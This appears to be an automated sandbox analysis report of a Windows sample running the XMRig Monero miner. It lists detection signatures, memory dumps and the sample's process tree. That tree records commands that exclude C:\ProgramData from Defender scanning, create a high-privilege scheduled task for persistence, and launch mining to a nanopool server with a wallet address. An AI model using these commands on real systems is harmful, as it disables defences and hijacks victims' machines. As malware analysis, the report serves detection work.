Analysis
- max time kernel
91s - max time network
153s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
- submitted
07/01/2023, 10:26
General
- Target file.exe
- Size 825KB
- Sample230107-mghlfsdc83
- SHA256 9f53ff0200d085d8e6d3e128f630ff8d304c973312491ea36150bd37cbd1ed63
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 13 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/584-82-0x000000000297B000-0x000000000299A000-memory.dmp
memory/584-81-0x0000000002974000-0x0000000002977000-memory.dmp
memory/584-80-0x000000001B6F0000-0x000000001B9EF000-memory.dmp
memory/584-79-0x0000000002974000-0x0000000002977000-memory.dmp
memory/584-78-0x000007FEECC20000-0x000007FEED77D000-memory.dmp
memory/584-75-0x000007FEFC471000-0x000007FEFC473000-memory.dmp
memory/1520-109-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-121-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-116-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-114-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-113-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-111-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-108-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-106-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-104-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-102-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-118-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-122-0x00000000000E0000-0x0000000000100000-memory.dmp
memory/1520-100-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-123-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-125-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1520-126-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1520-127-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1520-128-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1520-99-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1796-70-0x000007FEFC260000-0x000007FEFC2B6000-memory.dmp
memory/1796-71-0x00000000009E0000-0x0000000000B18000-memory.dmp
memory/1796-88-0x000007FEFE960000-0x000007FEFE97F000-memory.dmp
memory/1796-89-0x000007FEFD230000-0x000007FEFD247000-memory.dmp
memory/1796-90-0x000007FEFAEC0000-0x000007FEFAEDC000-memory.dmp
memory/1796-91-0x000007FEF1960000-0x000007FEF19C2000-memory.dmp
memory/1796-92-0x000007FEFE900000-0x000007FEFE94D000-memory.dmp
memory/1796-93-0x000007FEF9DC0000-0x000007FEF9E24000-memory.dmp
memory/1796-94-0x000007FEF9E30000-0x000007FEF9EA1000-memory.dmp
memory/1796-95-0x000007FEFD800000-0x000007FEFD825000-memory.dmp
memory/1796-96-0x000007FEFB5C0000-0x000007FEFB5E7000-memory.dmp
memory/1796-97-0x000007FEFDC70000-0x000007FEFDCA6000-memory.dmp
memory/1796-98-0x000007FEFD050000-0x000007FEFD0AB000-memory.dmp
memory/1796-83-0x0000000000910000-0x0000000000952000-memory.dmp
memory/1796-76-0x000007FEFF950000-0x000007FEFFA27000-memory.dmp
memory/1796-73-0x000007FEFD380000-0x000007FEFD3A2000-memory.dmp
memory/1796-72-0x000007FEF6560000-0x000007FEF668C000-memory.dmp
memory/1796-86-0x000007FEFC040000-0x000007FEFC255000-memory.dmp
memory/1796-55-0x000007FEFB510000-0x000007FEFB57F000-memory.dmp
memory/1796-69-0x000007FEFE010000-0x000007FEFE213000-memory.dmp
memory/1796-66-0x000007FEFE4B0000-0x000007FEFE5DD000-memory.dmp
memory/1796-68-0x0000000000910000-0x0000000000952000-memory.dmp
memory/1796-67-0x00000000009E0000-0x0000000000B18000-memory.dmp
memory/1796-65-0x000007FEF6690000-0x000007FEF707C000-memory.dmp
memory/1796-64-0x000007FEFFAD0000-0x000007FEFFBAB000-memory.dmp
memory/1796-63-0x000007FEF7260000-0x000007FEF7357000-memory.dmp
memory/1796-62-0x000007FEFE7E0000-0x000007FEFE851000-memory.dmp
memory/1796-61-0x000007FEFDCB0000-0x000007FEFDD1C000-memory.dmp
memory/1796-60-0x0000000077AD0000-0x0000000077BEF000-memory.dmp
memory/1796-124-0x00000000009E0000-0x0000000000B18000-memory.dmp
memory/1796-59-0x000007FEFE860000-0x000007FEFE8FF000-memory.dmp
memory/1796-58-0x00000000779D0000-0x0000000077ACA000-memory.dmp
memory/1796-57-0x000007FEFFA60000-0x000007FEFFAC7000-memory.dmp
memory/1796-56-0x000007FEFB470000-0x000007FEFB50C000-memory.dmp